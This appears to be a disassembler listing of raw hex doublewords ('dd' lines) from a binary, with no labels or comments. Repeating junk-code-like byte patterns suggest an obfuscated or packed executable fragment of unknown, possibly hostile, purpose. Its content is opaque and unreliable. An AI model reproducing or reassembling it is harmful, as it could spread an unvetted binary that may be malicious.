		dd 14913BCBh, 7721E168h, 0D7838009h, 0DAB0E3A9h, 4D2562C2h
		dd 7D9A44DDh, 0E5D04ABAh, 7A27D6h, 0BFC20000h, 0BDDDF321h
		dd 40C50718h, 48D89E23h, 0AE75D4A0h, 0B5068500h, 0BD5F0253h
		dd 169CFC34h, 0BDF5D856h, 77623A0h, 0ADB75AB6h,	9DB2C47Fh
		dd 0E461DC82h, 7B09C898h, 114E86FAh, 1DC863F7h,	2895B4E8h
		dd 0FAF811C0h, 57CCAF86h, 0EBF6341Eh, 0F8AA2BBDh, 240486FAh
		dd 85055A6Dh, 0C4A722E7h, 0A419943Ch, 0BAC668B5h, 0B12CCE53h
		dd 0D0618734h, 2EB4BD3Dh, 88E0B24Fh, 61000000h,	14F6Fh
		dd 44EE3756h, 1BE574C9h, 2D43F075h, 0CE876BDh, 10B44ED9h
		dd 0CF8C0964h, 2F31552h, 5C00E89Eh, 9F8677E1h, 87E300E8h
		dd 0C81C39B0h, 2AA994C9h, 8C36CF5Eh, 0B1051C73h, 3B49C472h
		dd 0E8CD012Bh, 0E34FF800h, 0F39B6AF5h, 55FD0485h, 0F3325DD6h
		dd 7D41AE4Bh, 4EA21Bh, 520AF0E6h, 73DE9DEBh, 5600CAEh
		dd 7620E180h, 8EE42D0Ah, 51EA4E90h, 40B1D714h, 9E0AD1AFh
		dd 0CCB2269Fh, 600C99Bh, 6F7FDA37h, 5402014Fh, 420C64D9h
		dd 740CE2B6h, 0FF741AE5h, 3CADDBA2h, 4DDC3DE5h,	167E0AB4h
		dd 299EA44Dh, 0D24E244Dh, 0E34EAB53h, 54C37822h, 0ACB1DCFh
		dd 0A4783675h, 6D2E5AD9h, 3675DA1Bh, 8A097478h,	18EA6309h
		dd 0E62F0874h, 0DD859C8Ch, 892FF160h, 859CF30Ch, 381AFDDh
		dd 40000000h, 976DF998h, 0F3329BE9h, 51AC3D4Bh,	0BA4AC3B1h
		dd 20E76612h, 80870672h, 0DB27A6D2h, 44C24B39h,	0A27DEC98h
		dd 522D70FCh, 0C281E289h, 4, 3304EA83h,	14312414h, 24143324h
		dd 0E389535Ch, 4C381h, 0EB830000h, 241C8704h, 2434895Ch
		dd 81E38953h, 4C3h, 4EB8300h, 5C241C87h, 57240489h, 18DCB2BFh
		dd 8BFE8906h, 0C481243Ch, 4, 24048B54h,	6804C483h, 6F6Fh
		dd 89242C89h, 86889F5h,	2434FF5Dh, 4C48158h, 0FF000000h
		dd 835E2434h, 1DE904C4h, 8BFFF99Eh, 2E674419h, 0B8A7E0A5h
		dd 618E1DEh, 0E0FFC503h, 3C84848Fh, 1D3D0583h, 6C993BD9h
		dd 12547357h, 1E174C92h, 74348E7h, 58E5C34Dh, 7CEA2D2Dh
		dd 6215EFEh, 4D5023h, 0A62D715h, 50FFC39Bh, 65640F25h
		dd 4DED51D9h, 588CF5D1h, 620EEEE2h, 1D5B6DF2h, 310770BFh
		dd 6CF4FCEAh, 0E3788D8Dh, 6A0618h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 6F2B63C3h, 19D330Ah
		dd 89061206h, 1227918Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 11E9CCF2h, 40000000h
		dd 0E65CB1E6h, 0F2BBC015h, 0DE7CC47Eh, 12F4A230h, 343985C7h
		dd 63E80612h, 85010000h, 612141Dh, 2E5D85C7h, 612h, 9D310000h
		dd 6120635h, 1629B5FFh,	6A0612h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 7DA0B3C3h, 66B9D8B2h
		dd 664357BBh, 95FFFE8Bh, 6120AC9h, 3195952Bh, 6A0612h
		dd 247595FFh, 0C08B0612h, 0FBA11CEBh, 0DD25170Ah, 0E12A390Ah
		dd 2363E52Bh, 4B3686E8h, 54117C2Dh, 97C7E005h, 8E80F69h
		dd 72000000h, 92A7B087h, 8A0633D7h, 0B8665BE7h,	0C381CA0Fh
		dd 70F0h, 6C1B4CB8h, 1C1EBA59h,	850F0000h, 5, 4CEF8166h
		dd 8933FFF6h, 1213BDBDh, 86B85E06h, 81546F2Fh, 754F99F6h
		dd 0D858B6Bh, 81061206h, 0F496F2C6h, 0B5236035h, 61200BDh
		dd 6190E680h, 4B84C681h, 0BD8914C0h, 6120C99h, 8D033389h
		dd 6123411h, 8904EB83h,	12240595h, 850F4A06h, 0FFFFFFB1h
		dd 0E958F551h, 0Bh, 5EF40568h, 0
		dd 0E9000000h, 521h, 18E53268h,	9C3AE906h, 0AB68FFF9h
		dd 0E90618E5h, 0FFF99C30h, 18E75868h, 9C26E906h, 0E420FFF9h
		dd 0AB74DB34h, 7F87EA07h, 49D534D5h, 20E74AA7h,	0DCEE9572h
		dd 1DFAA87Fh, 2DCA72B2h, 429F3FC2h, 936C16EFh, 2F3150Ah
		dd 5C00E266h, 966D5BBEh, 0F40D9CE8h, 82DD1C74h,	1D7B06FAh
		dd 2AE60C5Eh, 0DF5AD96Ah, 0AF11AD02h, 0CB77F20Eh, 9F1E020Fh
		dd 0CD5C9926h, 850B8836h, 0CE8B131h, 0A5A2615h,	0E8D6CFh
		dd 0C8A08ABFh, 0D6E5DFD8h, 88AD0C6Ch, 2BB55DA4h, 94114F74h
		dd 349FAh, 0B37A9F00h, 0C04212ACh, 820FCE22h, 0D2A906FAh
		dd 2663D857h, 0C340EA3Bh, 0E880D15Dh, 0F996E50Ch, 455E436Fh
		dd 0F95B63B4h, 0BE4DD544h, 3A48AAA6h, 1E6AE992h, 3355E263h
		dd 0F9F39CFh, 69873407h, 507AE7BAh, 676EF21h, 66D73985h
		dd 61FF8102h, 0DB60DB05h, 0EC0DB54Ch, 0BDA849Dh, 682FF5BDh
		dd 6F44521Eh, 5F000003h, 93FE1BC9h, 0A20DEA90h,	0F05FB864h
		dd 26D8A2Eh, 85B85905h,	0E18D9AC1h, 0B157A900h,	8224F950h
		dd 53FB0A65h, 0D8306DB6h, 0E26719h, 0BF469BB7h,	0C2AD4DD0h
		dd 4C199A42h, 70AD0E72h, 0FA82D918h, 8F047706h,	0DFF8DE32h
		dd 0E35A0CE2h, 8A38CF5Ah, 6705026Dh, 0E267D001h, 900F6E00h
		dd 3BE73C2Bh, 0C9B3304Dh, 0A53693B9h, 0AE58A9B2h, 0AD37A767h
		dd 0B29CC85Eh, 2F6h, 759242C6h,	8465091Ah, 0D633DD25h
		dd 0E405A77Bh, 37D07E85h, 61D3A0Ch, 0D050BF58h,	9D60CF28h
		dd 748D1CFDh, 0B7F42DCAh, 0E267A051h, 0F9603E00h, 0FF014F6Fh
		dd 45F13659h, 7EBF3A37h, 0E2DF0CEAh, 6917660Ch,	0E266DC19h
		dd 0D20FAC00h, 0E2663FBEh, 21A29900h, 36B60A60h, 5BD6EF63h
		dd 20Ah, 51D0BFFEh, 0C45D2CA9h,	26FF6E1Ah, 0B00E637Ch
		dd 0D0BB5FA0h, 912AA951h, 9739C554h, 847E8A1Eh,	5780CE8h
		dd 8DEAEF77h, 219A00E8h, 3D4BEB36h, 0A882C340h,	0E588D0D0h
		dd 64B9D6h, 6F580000h, 0C150ED4Fh, 9C199A3Ch, 0E8A59874h
		dd 34F35E0Ch, 67FFA86h,	45B4DC59h, 0E300E8AFh, 0B1A01D98h
		dd 0C1BCC86Eh, 0AFE5147Ch, 0F84300E8h, 7461F17Bh, 400E8AFh
		dd 21A3F753h, 93D6E5A6h, 0A3C33256h, 1E1D00E8h,	0A38A4B9Dh
		dd 592400E8h, 12582DCh,	92FD0000h, 50FE0595h, 0AF684BD5h
		dd 871AD808h, 2BF6B0Eh,	0FA82EFEEh, 71F24906h, 19670F16h
		dd 0B9C773B0h, 5B29D150h, 6E8B33F2h, 0FA7E31FAh, 0CA1E5B06h
		dd 6FA860Bh, 0B3E88A97h, 4834DC24h, 44DFAE2Dh, 1E97D29Eh
		dd 0EF08B273h, 0EB343C82h, 0DA42185Ah, 7FFA535Fh, 0A1574F1h
		dd 3454E964h, 436095CEh, 5A020200h, 9CD966DFh, 6B8BDB7Ch
		dd 199A58EDh, 0E74515B7h, 61A2AD0Ch, 5B29CF51h,	7522A31Eh
		dd 8C21D038h, 2A7C00EFh, 81A2D484h, 30CD1C41h, 887E28Eh
		dd 0E221308Dh, 44F7E60Ah, 0D45100EFh, 0EF443DBCh, 25A09B00h
		dd 21E649A6h, 18C2A275h, 0D7935EAAh, 149C9h, 41EF3500h
		dd 10B649A0h, 0DE8A98F7h, 0B054AE01h, 7F2BF857h, 70E7DB62h
		dd 87EA07B3h, 0D73AD77Dh, 0E04FA84Ah, 7987921h,	65F7E60Ah
		dd 0B55100E2h, 0EE02BF2Ch, 6FA82EFh, 40D7BE8Ah,	1348039Dh
		dd 18BE4128h, 0F594116Ch, 0F1916C2Eh, 648CC972h, 6FACA75h
		dd 168D3h, 0D64F2A56h, 5EE80835h, 6B50E0C1h, 1AEB86FFh
		dd 0BF309770h, 0BF380521h, 23A028F3h, 6715BD44h, 0C6771FE6h
		dd 0A421CB5Bh, 0D62B364Bh, 0BACEFA29h, 0FD7897CDh, 71D3EB78h
		dd 1BC55DCCh, 2BCB1D9Ah, 30CE852h, 2A468338h, 5D52C1Dh
		dd 4621A273h, 6CF415C1h, 0E8BA69h, 9D7A24FDh, 3B49F532h
		dd 8D6Dh, 21BFF400h, 848CEB8h, 513EB79Bh, 4168368Dh, 0EB7517EBh
		dd 0A7220685h, 8F08F216h, 0FB420CE2h, 5D051C8Dh, 2AD42DBCh
		dd 0D5818691h, 2349CAA7h, 0D7D0A353h, 9AF03149h, 4EEF976Eh
		dd 0A0FEFF11h, 0E55859FCh, 0E1208F60h, 98BFE624h, 0E4632FB4h
		dd 4BED3198h, 61C9023Dh, 59B660A1h, 0F9872FF6h,	0B54AD742h
		dd 8E68B8D8h, 0C2AE2DC9h, 1BFC2EA7h, 0BF000000h, 0D0EFEE02h
		dd 1E4959FCh, 54115F07h, 98055CD9h, 8D66C523h, 3A469F1Eh
		dd 976DA6B9h, 0F3329BE9h, 51AC3D4Bh, 0BA4AC3B1h, 20E76612h
		dd 80870672h, 0DB27A6D2h, 44C24B39h, 0A27DEC98h, 572D70FCh
		dd 0C781E789h, 4, 8704EF83h, 895C243Ch,	8957243Ch, 4C781E7h
		dd 83000000h, 3C8704EFh, 1C895C24h, 51CD6824h, 4890000h
		dd 0E44D6824h, 1C8B0618h, 4C48324h, 5B0368h, 24248900h
		dd 4240481h, 58000000h,	0E5BB5351h, 0B9040F15h,	40F15EDh
		dd 15BD931h, 591989C1h,	5624048Bh, 0C681E689h, 4, 8704C683h
		dd 8B5C2434h, 8953241Ch, 4C381E3h, 83000000h, 1C8704C3h
		dd 25E95C24h, 7AFFF997h, 0E8C6B818h, 0C5030618h, 4CC3E0FFh
		dd 49EB5EE8h, 607A5D0Bh, 0ABCC42A5h, 0C8D541B5h, 8D8D6F61h
		dd 618EA33h, 2AD9850Bh,	8D890612h, 6122791h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 5EC35141h, 85C7930Eh
		dd 6123439h, 60B8h, 0E856006Ah,	3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 0E6C35646h, 20999533h, 85C70612h, 6122E5Dh
		dd 0
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 7EC35242h
		dd 0C658F205h, 2989D1CEh, 1216E185h, 0EDB5FF06h, 6A061205h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 32F0C357h, 0E2441EDFh, 95FF34A7h,	6120AC9h
		dd 0FF006AFCh, 12247595h, 0EBC08B06h, 226F130Fh, 620DBD7Ah
		dd 83A65B47h, 0F65802E6h, 13E8h, 0D82A2600h, 292C94C1h
		dd 0D470CF6Eh, 3653EC24h, 0A60C207Eh, 551BD8Bh,	81580612h
		dd 0B08D9EDFh, 46C08118h, 8100006Ch, 4C60D2F6h,	682Ah
		dd 8B600000h, 12350D85h, 5A61F506h, 0FF5CE380h,	89530234h
		dd 122AE195h, 66595B06h, 0E981F88Bh, 52A3E682h,	0BBF78166h
		dd 8FE9818Fh, 603029F0h, 9FC918BEh, 0C981527Eh,	2420EFABh
		dd 0E981615Eh, 451DC94Fh, 0EA9A16BBh, 100C8933h, 7E9FCh
		dd 819A0000h, 99B523DEh, 1EA8328h, 39209DBEh, 4A4A4A3Ch
		dd 42CE8166h, 84FA81FDh, 0FFFFF94h, 1A85h, 0CD9D8B00h
		dd 0E9061230h, 1Fh, 593AF78Fh, 0E3B3940Eh, 51E660C7h, 9063DA7h
		dd 121511BDh, 0FF75E906h, 71EFFFFh, 8DCEFEBEh, 18EBDA8Dh
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 0C4B1FE4Bh, 9D89CE69h, 6121C45h,	27918D89h
		dd 858B0612h, 6120C21h,	343985C7h, 71DC0612h, 66500000h
		dd 5FB0B5BEh, 2E5D85C7h, 612h, 0E0810000h, 68F46303h, 32D1B5FFh
		dd 6A0612h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 3DAB63C3h, 0DD4D1762h, 57E886E2h,	0DF816650h
		dd 5A5B4736h, 0AC995FFh, 6A0612h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 0C7E3B3C3h, 1C2DBD03h
		dd 9B20612h, 95FF006Ah,	6122475h, 4BEBC08Bh, 26B1F030h
		dd 4AC524DBh, 0E826EC29h, 9D430B93h, 52C9FDEFh,	99279492h
		dd 86D1754Ah, 3D4CB49Dh, 349AC76Dh, 58671E40h, 0ED76B825h
		dd 13409F43h, 4353EEDh,	0DBF4BD8h, 5560ACDCh, 0FB4B34C3h
		dd 8B542FE4h, 3A1E1D43h, 8D39B3AAh, 18ED188Dh, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 0F503CA99h, 3514B261h, 9E95E12h, 36000000h, 0DBE42779h
		dd 34E09C52h, 27918D89h, 0B58B0612h, 6123319h, 3985C7F5h
		dd 0C8061234h, 0FC000067h, 535BE681h, 85C75747h, 6122E5Dh
		dd 0
		dd 0FE9h, 6D046800h, 0E95620E8h, 9CDF80AAh, 0D8818CFFh
		dd 2EA5B5FFh, 6A0612h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 587B65C3h, 24734ED9h, 8B0FC91Dh
		dd 6, 860Fh, 95FF0000h,	6120AC9h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 0CEC35040h,	14E9F8h, 54980000h
		dd 5DD34272h, 984A8AC7h, 58691649h, 0E0978807h,	6A5459h
		dd 247595FFh, 0C08B0612h, 74510CEBh, 68875A88h,	0BF0EF22Bh
		dd 0AE8A596h, 0D8000000h, 0B852FFC2h, 0A254C84Dh, 0E5BE5A70h
		dd 814DEB98h, 639FC2h, 0D5858B00h, 33061231h, 41B529FFh
		dd 8B061217h, 81F53A1Ch, 0CEE52DC3h, 18E0F54h, 0F5000000h
		dd 8626EB81h, 0DC8003A4h, 4FC381C6h, 0B070E3A4h, 3A1C89AFh
		dd 89C28B66h, 120E5D95h, 3EF8106h, 0B926C4EFh, 4B12AA3Fh
		dd 0EEFFC781h, 0BD2926C4h, 61233B5h, 9D00FF81h,	850FFFFFh
		dd 16h,	16F9858Bh, 23E90612h, 75000000h, 1F64CDE5h, 63270E6Ah
		dd 85893A65h, 6122C0Dh,	0FFFF8EE9h, 0E53097FFh,	7946CA9Ah
		dd 1507DB97h, 6E8C0F7h,	4C000000h, 0F2001058h, 0F7816605h
		dd 0F59D816h, 480h, 4ABB6600h, 0EAC18136h, 0E900005Dh
		dd 9, 85C07F17h, 92BED3F5h, 356DB808h, 0F0811084h, 10842237h
		dd 408CBF66h, 0BE6631FFh, 8B5A028Dh, 5CEA81DAh,	8B2C43FDh
		dd 121565B5h, 0FFC28106h, 8126A532h, 1AFCFFC7h,	4CEA8157h
		dd 8B77A69Ah, 0B58952F1h, 6121381h, 9D8B018Fh, 6121479h
		dd 8104E983h, 1E8h, 0B9850F00h,	8BFFFFFFh, 1216F5B5h, 3E8D8D06h
		dd 6A0618EFh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 0F24C350h, 0BD8BC7BFh,	612159Dh
		dd 27918D89h, 6A0612h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 0CD3F69C3h, 338DDDA6h, 661FFB34h
		dd 8812C081h, 66C38166h, 3985C7DBh, 28061234h, 2900006Ch
		dd 1211AD8Dh, 5D85C706h, 6122Eh, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 3D0CC352h
		dd 7CB7A0ADh, 62B01C43h, 0F831D781h, 81663C31h,	0FF9581D7h
		dd 1234D1B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1804h, 0C3514100h, 6EBC4C05h, 0C995FF44h, 0B806120Ah
		dd 18E6A1Dh, 95FF006Ah,	6122475h, 48EBC08Bh, 541F0E92h
		dd 847497Bh, 0DE4CBF84h, 2746B000h, 87D441ABh, 0B8C09C32h
		dd 0BAA35F4Bh, 9F55242Bh, 8E659A2h, 0F9B3EA7Dh,	873FE3ABh
		dd 997C7577h, 7387CBC1h, 4B582D2Fh, 9A09FF3Fh, 7B7D4BE6h
		dd 6BB8E070h, 2BD1C04Bh, 0F0978D8Dh, 6A0618h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 0F381B3C3h
		dd 2E0C7AB0h, 27918D89h, 6A0612h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 89C280C3h, 120059BDh
		dd 3985C706h, 14061234h, 6A000070h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 4C44C353h
		dd 0F1BD8BADh, 0F061212h, 198Ch, 14E900h, 3D8D0000h, 0A2718F64h
		dd 925E6C2Bh, 0B0665FE8h, 0E26A0BCCh, 85C7805Dh, 6122E5Dh
		dd 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 5CC35343h
		dd 2B3DB58Bh, 950B0612h, 61226B1h, 3219B5FFh, 852B0612h
		dd 6123061h, 0AC995FFh,	6A0612h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 6EC09C3h, 21B8661Ch
		dd 0FF006AC0h, 12247595h, 0EBC08B06h, 4136CC2Bh, 91C3A0B9h
		dd 0E555CA03h, 0A4D4F0EDh, 0E2BBD0DFh, 0F11B9F04h, 0F6F63540h
		dd 932A0331h, 548F814Dh, 0A1F77CABh, 8A6FAB05h,	0F1638D8Dh
		dd 0DE90618h, 0D3000000h, 87EFA7E3h, 0C681227h,	0FCBB8AEEh
		dd 27918D89h, 8E90612h,	5C000000h, 0A81E9B98h, 0C7261303h
		dd 12343985h, 5B8806h, 56006A00h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 0D5F15FFh, 6BB6717Ch
		dd 2E5D85C7h, 612h, 67B20000h, 2E9B5FFh, 6A0612h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 0E0B88FC3h, 7DFE5F70h, 0FFFA9270h, 120AC995h, 0FF006A06h
		dd 12247595h, 0EBC08B06h, 0A216001Ah, 0B7498BAAh, 0CD587F5Fh
		dd 0C4D5D099h, 2E3CCDCDh, 0EDFDEB2Ch, 0E8831778h, 0Ah
		dd 0FEA14E57h, 4C68524Fh, 850F7691h, 3,	5F73EE80h, 25E98D03h
		dd 0C7810612h, 7332h, 0BED1B70Fh, 306B1FF6h, 0FCB8C681h
		dd 890FCF94h, 5, 27EB8166h, 29078B82h, 122AFD9Dh, 48E88106h
		dd 8A43518Fh, 98F081D7h, 0F7BE289h, 289h, 81CCB500h, 17B6B7F0h
		dd 619D8972h, 89061204h, 0CB8B6607h, 8B04EF83h,	1214A58Dh
		dd 1EE8306h, 0FFBF850Fh, 0B966FFFFh, 8D8D5C15h,	618F2C6h
		dd 5ED98B8h, 918D8949h,	6A061227h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 15042444h, 41000000h, 367C351h
		dd 136DD3BAh, 0C7D38B68h, 12343985h, 67E806h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 30044D9Ch, 85313A68h, 6121999h, 9359D89h, 85C70612h
		dd 6122E5Dh, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0E2C35040h
		dd 609708B0h, 0CE996h, 47DB0000h, 0F522E07Ah, 6FD6C10Ah
		dd 0EE813D4Fh, 5B3098D1h, 120DB5FFh, 95FF0612h,	6120AC9h
		dd 95FF006Ah, 6122475h,	7FEBC08Bh, 192F5F27h, 0C3201B10h
		dd 10385111h, 0B83FAE20h, 0F375FC30h, 538BC46Bh, 277DDFA7h
		dd 1C7CA2A8h, 18675EBBh, 24D2258Ah, 0D4B3D712h,	2AF1A579h
		dd 0FB232469h, 0E2E4105Ch, 0DBD2F207h, 0A27AF930h, 3FE1F626h
		dd 5C6BCB35h, 0A15C3A20h, 0EB79223Ch, 0E96E9B88h, 0B860D992h
		dd 77D699EBh, 0E3E36FFAh, 73F4C9B7h, 0F5E469EAh, 164FE21Ch
		dd 0E874F1E7h, 8CE879E1h, 0AC3D8538h, 0BA25A273h, 0E830E85Dh
		dd 11h,	4B2B1F6Bh, 51A2A700h, 763AD26Bh, 0E606E6FFh, 219531EFh
		dd 5F061234h, 0C781BFB7h, 666Dh, 0BE9h,	0EE745F00h, 6722EA62h
		dd 9282DA6Ch, 197968h, 59C28B00h, 251950Bh, 378B0612h
		dd 0C9858Bh, 0EE810612h, 4B03F4E7h, 81C78B66h, 0D047C9F6h
		dd 859D8B48h, 8106120Ch, 0E130C4C6h, 70BB562Ch,	8F2B5490h
		dd 291FBB07h, 0EF81322Ch, 6E8867F2h, 812CF280h,	8867EEC7h
		dd 0C38B666Eh, 0B7850F49h, 89FFFFFFh, 123075BDh, 10E806h
		dd 0B8610000h, 0CDEC3E72h, 0D8A7085h, 2C517DF9h, 0EE89DB4h
		dd 77000000h, 418544C7h, 1353F76Eh, 1864DB6h, 11E951C0h
		dd 0F1000000h, 0D29130C3h, 9A73A4F8h, 0C219E108h, 57295776h
		dd 815E5B5Bh, 990DA4C7h, 0C68105h, 6600006Fh, 0B9E49EBFh
		dd 1B8Ch, 168BC68Bh, 31D5BD8Bh,	0F2810612h, 1D1F959Eh
		dd 0C65858Bh, 0F2810612h, 39013063h, 0EA81DE8Bh, 77C61092h
		dd 0FE8h, 30246800h, 99DB41C8h,	0FAA7C8E6h, 7B32943Fh
		dd 895BC78Ah, 0F7816616h, 0EE81814Eh, 873FBB6h,	8187DB80h
		dd 73FBB2C6h, 1E98308h,	0F850Fh, 23E90000h, 1E000000h
		dd 7C09C9E2h, 454A89ADh, 0A1BD8B2Eh, 0E906120Eh, 0FFFFFF8Eh
		dd 0A39BEB62h, 0DFB23A56h, 0BE261A9Eh, 13E8AB8Fh, 0C7000000h
		dd 0A677A285h, 6F23F8A7h, 48CBB432h, 6F82B9C3h,	8D891A7Bh
		dd 61212D5h, 0DFD7815Bh, 815F54CFh, 5D48C3h, 0E1958900h
		dd 0BE061202h, 6F4B50DDh, 39B8EE81h, 138B6F4Bh,	0D5B0D781h
		dd 0C2817C96h, 25ED41D4h, 9EE98166h, 8EA81B0h, 8132C73Dh
		dd 0D53A6BF2h, 68E0F13h, 89000000h, 121CCD9Dh, 0FC138906h
		dd 0A5A3EB81h, 0B70F6342h, 9FC381CFh, 816342A5h, 0D38204E8h
		dd 850F4E3Fh, 19h, 0F0A703BFh, 2DE920h,	0D6050000h, 74B5240Bh
		dd 0C6F35A0Ch, 1EEC61E7h, 6DC7817Bh, 0E962F939h, 0FFFFFF92h
		dd 42CBE61Ah, 31DEDFF2h, 5DD2B47Bh, 211A2B30h, 0E8758540h
		dd 10h,	0DA57D1D4h, 1501B5FBh, 8CD8AFC1h, 0C283E288h, 339BD8Bh
		dd 8B5E0612h, 43C681F8h, 0F000075h, 68F9B7h, 80000000h
		dd 315956F3h, 1217418Dh, 3134FF06h, 0DE960h, 0E5990000h
		dd 4E19E5F9h, 0C68E1DB3h, 8B1B4B94h, 121A719Dh,	895A6106h
		dd 1207A59Dh, 0D4EA8106h, 294D4BA5h, 121ACD95h,	0DCC28106h
		dd 8106BFE9h, 0A0A8E5F2h, 418D8951h, 52061204h,	890E048Fh
		dd 121A55B5h, 0CDB58906h, 81061233h, 0E159AAE9h, 0DA8A605Ah
		dd 0F7D68166h, 0C18161E0h, 5AE159A6h, 8106D080h, 0FF8B8CF9h
		dd 14850FFFh, 66000000h, 0E9D151BFh, 23h, 0A4A3B117h, 0F2F669FCh
		dd 8B57C56Bh, 0FF6FE9C2h, 7805FFFFh, 0CC93BB7Fh, 0DCE35A9Ch
		dd 0AE1A962Ah, 82811611h, 889A075h, 0DC781469h,	72278DA6h
		dd 2E863637h, 908635A1h, 480AD925h, 99053025h, 149414E8h
		dd 76023F25h, 7863025h,	50851D98h, 0A5893023h, 90863057h
		dd 4ADFB5E3h, 4CC83637h, 3EF7621Bh, 0BA234A4h, 7BFDE1A0h
		dd 50A2FD90h, 8503BD23h, 6F8025A4h, 8E76BBF5h, 368469A0h
		dd 1DEE7E23h, 88F70EF4h, 82B71421h, 0F7790721h,	27943308h
		dd 1122B5A8h, 98793630h, 343FC8AEh, 0FB863025h,	986302Dh
		dd 8A033F83h, 0B863025h, 0A489F92Eh, 6F79CFD5h,	48863DCCh
		dd 411BBD25h, 0AA802275h, 9863020h, 390BD3DAh, 449EC66Fh
		dd 0D681BDA8h, 823E363Dh, 63000000h, 826FF1EAh,	889A075h
		dd 0DC781469h, 72278DA6h, 2E863637h, 908635A1h,	480AD925h
		dd 99053025h, 0F305E983h, 22B9A4h, 0FE80000h, 88000000h
		dd 0F1FF3770h, 1573757Ch, 8226366Bh, 0C881E3E6h, 51E73A55h
		dd 0BDB5895Bh, 81061202h, 6868C3h, 0C1B58B00h, 3306122Eh
		dd 6E9C9h, 33970000h, 8EC57046h, 8B0B3C8Bh, 1223C995h
		dd 0EAC78106h, 66105CADh, 810CDEBAh, 0D0BD0AF7h, 68F0F7Dh
		dd 2B000000h, 121A05B5h, 40F78106h, 89010E57h, 120AE995h
		dd 0B3C8906h, 0CE8h, 0EBCA7100h, 99C772C3h, 0D20210AAh
		dd 0F9858B8Bh, 5806120Ah, 198549BAh, 4E9832Bh, 13E8h, 0FD273800h
		dd 50B192F1h, 49F6DE0Ah, 0D238F3F4h, 2262F659h,	815ED38Bh
		dd 0FF9874F9h, 1C850FFFh, 31000000h, 1223B58Dh,	25E906h
		dd 8A5D0000h, 0A53ABBC8h, 0AFF6BC74h, 7410CCC7h, 899436F9h
		dd 122F29BDh, 0FF5EE906h, 8CF5FFFFh, 958F48B7h,	8DC52CF0h
		dd 18F90A8Dh, 0E9606006h, 0Fh, 0F93FF519h, 47A5DFDFh, 47DE7DD4h
		dd 8B1A94C7h, 121BA98Dh, 95316106h, 6122D3Dh, 918D8961h
		dd 6A061227h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 0E0E1C352h, 27530B03h,	42C7652Eh
		dd 13D59589h, 85C70612h, 6123439h, 6F88h, 0BD03C0B0h, 612078Dh
		dd 2E5D85C7h, 612h, 6A0000h, 3E851h, 59200000h,	4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 560913C3h, 0E1CC190h
		dd 89F18B66h, 1206618Dh, 4DB5FF06h, 6A061225h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 66DCC350h, 0FFAE66BFh, 120AC995h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 0B88320DBh
		dd 0F98B6634h, 95FF006Ah, 6122475h, 9EBC08Bh, 0E34D15E5h
		dd 4CE3CA79h, 1FE902h, 487B0000h, 1806h, 6 dup(0)
		dd 857E900h, 0D82C0000h, 9F60CF28h, 73B31EFBh, 3DC128C9h
		dd 14137E9Bh, 0D0F28966h, 11EE9C6Bh, 21BE66BEh,	769333CEh
		dd 87600A1Bh, 0ECF211Eh, 0A800E27Bh, 84828D8Ah,	54D1ACD8h
		dd 8260943Dh, 2DF406FAh, 0B7076485h, 0F9B53948h, 0AFBEFD21h
		dd 8C31AC56h, 0E8595464h, 72CBB20Ch, 7751FE7h, 0A83E96Ah
		dd 59B051FDh, 29521EC8h, 0FAA47DECh, 0E86B6B6Ah, 0E676C500h
		dd 18170F1h, 5A35AE65h,	0E68D3ECBh, 0D26F3235h,	9CFC4251h
		dd 0D6554DA6h, 0DE49EAAAh, 94D19F47h, 0CFC561Fh, 61F04DF5h
		dd 89F7A1h, 0B0DB5602h,	0B24BC870h, 0E55FF5F7h,	7E9AD6h
		dd 8BE50000h, 3EE2FB62h, 4AF4F099h, 0C4840993h,	0BFCDA421h
		dd 2DA652D0h, 6B19C542h, 37E12130h, 0D8B72C49h,	331E9F4Bh
		dd 0A3C94AF0h, 52CEA4E3h, 859429D5h, 0BD5ED779h, 0F7870AFAh
		dd 3E67D0h, 0BF020000h,	82EFEE02h, 0EF4906FAh, 7293CDF1h
		dd 23A01FBEh, 6513BF44h, 0FA07D91Dh, 79D15606h,	6FCC7A89h
